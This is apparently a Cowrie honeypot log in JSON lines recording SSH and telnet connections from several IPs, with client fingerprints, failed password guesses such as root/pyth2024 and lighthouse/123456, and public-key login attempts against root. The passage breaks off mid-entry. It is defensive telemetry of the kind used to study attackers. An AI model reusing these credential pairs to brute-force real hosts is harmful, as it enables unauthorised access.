{"eventid":"cowrie.session.connect","src_ip":"162.254.35.142","src_port":45620,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1b31eede4f9","protocol":"ssh","message":"New connection: 162.254.35.142:45620 (159.203.135.109:22) [session: c1b31eede4f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:44.015330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:44.018761Z","src_ip":"162.254.35.142","session":"c1b31eede4f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:44.084526Z","src_ip":"162.254.35.142","session":"c1b31eede4f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"armenia","password":"Yerevan#Bitc0!n$M@st3r","message":"login attempt [armenia/Yerevan#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:44.282942Z","src_ip":"162.254.35.142","session":"c1b31eede4f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:45.352272Z","src_ip":"162.254.35.142","session":"c1b31eede4f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":38204,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ca7eb971f15","protocol":"ssh","message":"New connection: 38.242.143.220:38204 (10.17.0.5:22) [session: 1ca7eb971f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:48.327101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:48.330947Z","src_ip":"38.242.143.220","session":"1ca7eb971f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:48.422966Z","src_ip":"38.242.143.220","session":"1ca7eb971f15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pyth2024","message":"login attempt [root/pyth2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:48.718307Z","src_ip":"38.242.143.220","session":"1ca7eb971f15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:49.820520Z","src_ip":"38.242.143.220","session":"1ca7eb971f15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.26.43","src_port":40808,"dst_ip":"10.17.0.5","dst_port":22,"session":"66fad5a6b0db","protocol":"ssh","message":"New connection: 103.149.26.43:40808 (10.17.0.5:22) [session: 66fad5a6b0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:54.738667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:54.741855Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:54.962709Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:f9:9e:7a:68:c7:cb:72:24:55:4e:14:d4:d6:39:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1W9Yc9IkIIwoQ50zfIb6MaDC0yJGkHxOdLq+nvwnABi+gc4y+aSwP1IF1uvLiWqHFclcT7jsoMFT1qdK8IS5whWfKCjJTgXRbX0qozf07AqVrxI2SSNtlj1CSG1yPgFug5216lDOHdUXs5bh9R/0vJMBognzGN3+4R4oiDn0pQ0fiMSB2jXMX2c9DGIXpjNw2zEHJjzKYOXpTbAd1lqt+MR+o9+OZVRvH5wj7XCmeW7uToHkZ5ZdtERfrn9ph2cB7E9qdhAPaqzsvq/XusPYmBiPtZhpzavQhvMXCr+MWVH3nUO++lD5rsJyH3pgSpAcLyHETpOBjzK0cw4yS2NUkX53Ljjr7D3WK0TpmvcrIhze0lPjaHqFxteBOGCCKv7LKiNLSDONamkOS+3Zou8AnyOVEiaFN+m/+XdaDjGtA4ULFM6YGPCZO+IAGOnMDXL1KsbKn2rLnaELR7bwhgHctTyhq93GxXLmH39P8aZmcN//cKroecXsyNXM9H1YsppU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:f9:9e:7a:68:c7:cb:72:24:55:4e:14:d4:d6:39:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.046413Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:f9:9e:7a:68:c7:cb:72:24:55:4e:14:d4:d6:39:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1W9Yc9IkIIwoQ50zfIb6MaDC0yJGkHxOdLq+nvwnABi+gc4y+aSwP1IF1uvLiWqHFclcT7jsoMFT1qdK8IS5whWfKCjJTgXRbX0qozf07AqVrxI2SSNtlj1CSG1yPgFug5216lDOHdUXs5bh9R/0vJMBognzGN3+4R4oiDn0pQ0fiMSB2jXMX2c9DGIXpjNw2zEHJjzKYOXpTbAd1lqt+MR+o9+OZVRvH5wj7XCmeW7uToHkZ5ZdtERfrn9ph2cB7E9qdhAPaqzsvq/XusPYmBiPtZhpzavQhvMXCr+MWVH3nUO++lD5rsJyH3pgSpAcLyHETpOBjzK0cw4yS2NUkX53Ljjr7D3WK0TpmvcrIhze0lPjaHqFxteBOGCCKv7LKiNLSDONamkOS+3Zou8AnyOVEiaFN+m/+XdaDjGtA4ULFM6YGPCZO+IAGOnMDXL1KsbKn2rLnaELR7bwhgHctTyhq93GxXLmH39P8aZmcN//cKroecXsyNXM9H1YsppU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.049814Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:5e:9f:a3:51:e1:4a:fa:32:05:0f:3a:d0:df:8d:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQwK6HahJrU8DywcHohwQ4YTeclrVMjmgml/ACpSimta1pQPmguEn+UkDBxSzOS/Cq9PkJ3lX9qm1KuPJhM/XWW8lGBfGHgqMPwr1mGQeiMs/JwQvSMCgdhALTRR9RzHbRTCmn7qduBOqkBODWpgBMusSrsl93KIdl4unlBQKyKRLN0n3w407oirqj1y79X0sLQDg91Znvn7uZbXINBQ8IY7iNX1cGBmScGQdF/KlCoXoLAYiAJ+OqkOmUevpzWkWJ/JS28mK3dLPX3F39O90LaCgNqzXh0c9Q/Oab7X3LBVHIDVVa0o83TAKJ79uJ5Q2gAALOTMoLhSUbDclWh+QT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:5e:9f:a3:51:e1:4a:fa:32:05:0f:3a:d0:df:8d:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.303814Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:5e:9f:a3:51:e1:4a:fa:32:05:0f:3a:d0:df:8d:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQwK6HahJrU8DywcHohwQ4YTeclrVMjmgml/ACpSimta1pQPmguEn+UkDBxSzOS/Cq9PkJ3lX9qm1KuPJhM/XWW8lGBfGHgqMPwr1mGQeiMs/JwQvSMCgdhALTRR9RzHbRTCmn7qduBOqkBODWpgBMusSrsl93KIdl4unlBQKyKRLN0n3w407oirqj1y79X0sLQDg91Znvn7uZbXINBQ8IY7iNX1cGBmScGQdF/KlCoXoLAYiAJ+OqkOmUevpzWkWJ/JS28mK3dLPX3F39O90LaCgNqzXh0c9Q/Oab7X3LBVHIDVVa0o83TAKJ79uJ5Q2gAALOTMoLhSUbDclWh+QT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.308102Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:76:b7:24:c2:1a:18:f1:65:bc:85:ed:2e:84:b8:ce","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDr1oUFE2wiRKh8nVSk7kLqcVuWUS3opQN4kOsN6C7l0","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 16:76:b7:24:c2:1a:18:f1:65:bc:85:ed:2e:84:b8:ce","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.529185Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:76:b7:24:c2:1a:18:f1:65:bc:85:ed:2e:84:b8:ce","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDr1oUFE2wiRKh8nVSk7kLqcVuWUS3opQN4kOsN6C7l0","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.531897Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:08:4a:f3:0e:cc:33:63:ba:de:fe:51:62:78:44:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtSnCoe+Vg6jzWIkyhjMXQ67KBLoBcGJ/R185DkhlVkO61Zd9ek5jxXiy9VSfDCWwKIA6S+vR/q2j8AiKS9ey5XLuxUmdUhzvw7bHXCLOGqEW0yedWvwpRvdd0LpDoXCznGmo5vOHHcs/TkGak5oiv/hC+jTejujnjv/okbhLk4FD/Rbswx46LWw8Zo/p8ryn4map+Ly4nHToxaikMFXvJEZWF9UB9UAgxh2V/pFaooP4tZwRDiHeGODGwhAu3puIMgAjcbSjCCzDl8Z+mPPdN7IVp8XKD4h+/X3jGa4mUi0kekRGSC/P4KOxNpgcFEl5GLmaz1qW9qJrVXvz+lfKt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2d:08:4a:f3:0e:cc:33:63:ba:de:fe:51:62:78:44:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.752228Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:08:4a:f3:0e:cc:33:63:ba:de:fe:51:62:78:44:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtSnCoe+Vg6jzWIkyhjMXQ67KBLoBcGJ/R185DkhlVkO61Zd9ek5jxXiy9VSfDCWwKIA6S+vR/q2j8AiKS9ey5XLuxUmdUhzvw7bHXCLOGqEW0yedWvwpRvdd0LpDoXCznGmo5vOHHcs/TkGak5oiv/hC+jTejujnjv/okbhLk4FD/Rbswx46LWw8Zo/p8ryn4map+Ly4nHToxaikMFXvJEZWF9UB9UAgxh2V/pFaooP4tZwRDiHeGODGwhAu3puIMgAjcbSjCCzDl8Z+mPPdN7IVp8XKD4h+/X3jGa4mUi0kekRGSC/P4KOxNpgcFEl5GLmaz1qW9qJrVXvz+lfKt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.755385Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:32:46:f1:94:e3:01:d3:8b:1b:8d:21:af:eb:5b:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvCBAlx5chs+ypkBWCbZ9jaxbD7n9qhAqiI0FVidbBexrCdSUpzc6dZFYq8IHAWCMZhEbqA+G2yvU2bFH9dEhNTaLKCWZL7R+iVht7lSUFLPaIFfKKC0QsTjPJDJGn/bSR9328+RlVZ4DNvmYRnwKcMKEzLDchl0z3GvVPNkO9kN7kMcjjPeIFvvj5sky9el6wcr50+7x8VX/B6VxlRkEbnIzT4bkyQNjFgT+IJfVXr5en5zoUPucYrdQplnFhhTc1VZdlRsXGzKiG4w0EjATnODYgTwqn0iV1L52gJsSpmvB8dRter0PYkjbgGfCMzMmkuiwijSa05tMbZviE1O3mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:32:46:f1:94:e3:01:d3:8b:1b:8d:21:af:eb:5b:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.977902Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:32:46:f1:94:e3:01:d3:8b:1b:8d:21:af:eb:5b:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvCBAlx5chs+ypkBWCbZ9jaxbD7n9qhAqiI0FVidbBexrCdSUpzc6dZFYq8IHAWCMZhEbqA+G2yvU2bFH9dEhNTaLKCWZL7R+iVht7lSUFLPaIFfKKC0QsTjPJDJGn/bSR9328+RlVZ4DNvmYRnwKcMKEzLDchl0z3GvVPNkO9kN7kMcjjPeIFvvj5sky9el6wcr50+7x8VX/B6VxlRkEbnIzT4bkyQNjFgT+IJfVXr5en5zoUPucYrdQplnFhhTc1VZdlRsXGzKiG4w0EjATnODYgTwqn0iV1L52gJsSpmvB8dRter0PYkjbgGfCMzMmkuiwijSa05tMbZviE1O3mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:56.981093Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:39:57.201946Z","src_ip":"103.149.26.43","session":"66fad5a6b0db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.94.105.58","src_port":56502,"dst_ip":"10.17.0.5","dst_port":23,"session":"575c2c2d0c20","protocol":"telnet","message":"New connection: 208.94.105.58:56502 (10.17.0.5:23) [session: 575c2c2d0c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:01.042242Z"}
{"eventid":"cowrie.telnet.option","command":"DO","option_name":"ECHO","option_byte":1,"message":"Telnet DO ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:01.143311Z","src_ip":"208.94.105.58","session":"575c2c2d0c20","protocol":"telnet"}
{"eventid":"cowrie.telnet.option","command":"WONT","option_name":"ECHO","option_byte":1,"message":"Telnet WONT ECHO","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:01.181682Z","src_ip":"208.94.105.58","session":"575c2c2d0c20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57772,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8bcdfd5a359","protocol":"ssh","message":"New connection: 160.187.174.22:57772 (159.203.135.109:22) [session: e8bcdfd5a359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:06.300256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:06.304885Z","src_ip":"160.187.174.22","session":"e8bcdfd5a359","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:06.544661Z","src_ip":"160.187.174.22","session":"e8bcdfd5a359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:07.261454Z","src_ip":"160.187.174.22","session":"e8bcdfd5a359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:08.505033Z","src_ip":"160.187.174.22","session":"e8bcdfd5a359","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38122,"dst_ip":"159.203.135.109","dst_port":23,"session":"b474f6b1a420","protocol":"telnet","message":"New connection: 170.64.224.25:38122 (159.203.135.109:23) [session: b474f6b1a420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:10.716324Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":57664,"dst_ip":"159.203.135.109","dst_port":22,"session":"75ec17ed5ea1","protocol":"ssh","message":"New connection: 103.77.175.15:57664 (159.203.135.109:22) [session: 75ec17ed5ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:18.702933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:40:18.709671Z","src_ip":"103.77.175.15","session":"75ec17ed5ea1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@ope